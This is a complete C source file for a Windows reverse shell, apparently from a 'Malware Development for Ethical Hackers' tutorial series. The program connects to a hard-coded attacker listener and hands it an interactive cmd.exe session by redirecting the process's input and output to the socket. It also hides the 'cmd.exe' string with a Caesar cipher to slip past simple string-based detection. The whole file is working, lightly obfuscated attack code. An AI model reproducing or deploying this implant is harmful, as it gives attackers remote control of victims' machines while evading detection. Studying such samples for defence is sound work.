/*
 * Malware Development for Ethical Hackers
 * hack.c
 * windows reverse shell 
 * string encoding via Caesar cipher
 * author: @cocomelonc
*/
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#pragma comment(lib, "ws2_32.lib")

WSADATA wsaData;
SOCKET wSock;
struct sockaddr_in hax;
STARTUPINFO sui;
PROCESS_INFORMATION pi;

void caesarTransform(char *str, int shift) {
  while (*str) {
    if ((*str >= 'A' && *str <= 'Z')) {
      *str = ((*str - 'A' - shift + 26) % 26) + 'A';
    } else if ((*str >= 'a' && *str <= 'z')) {
      *str = ((*str - 'a' - shift + 26) % 26) + 'a';
    }
    str++;
  }
}

void caesarEncrypt(char *str, int shift) {
  caesarTransform(str, shift);
}

void caesarDecrypt(char *str, int shift) {
  // Caesar encryption and decryption are the same
  caesarTransform(str, shift);
}

int main(int argc, char* argv[]) {
  // listener ip, port on attacker's machine
  char *ip = "10.10.1.5";
  short port = 4444;

  // Caesar cipher shift value
  int caesarShift = 7; // We can choose any positive integer shift value

  // init socket lib
  WSAStartup(MAKEWORD(2, 2), &wsaData);

  // create socket
  wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);

  hax.sin_family = AF_INET;
  hax.sin_port = htons(port);
  hax.sin_addr.s_addr = inet_addr(ip);

  // connect to remote host
  WSAConnect(wSock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

  memset(&sui, 0, sizeof(sui));
  sui.cb = sizeof(sui);
  sui.dwFlags = STARTF_USESTDHANDLES;

  // String to be decrypted via Caesar
  char command[] = "jtk.lel";

  // Decrypt the string using Caesar
  caesarDecrypt(command, caesarShift);

  sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) wSock;

  // start the decrypted command with redirected streams
  CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
  exit(0);
}
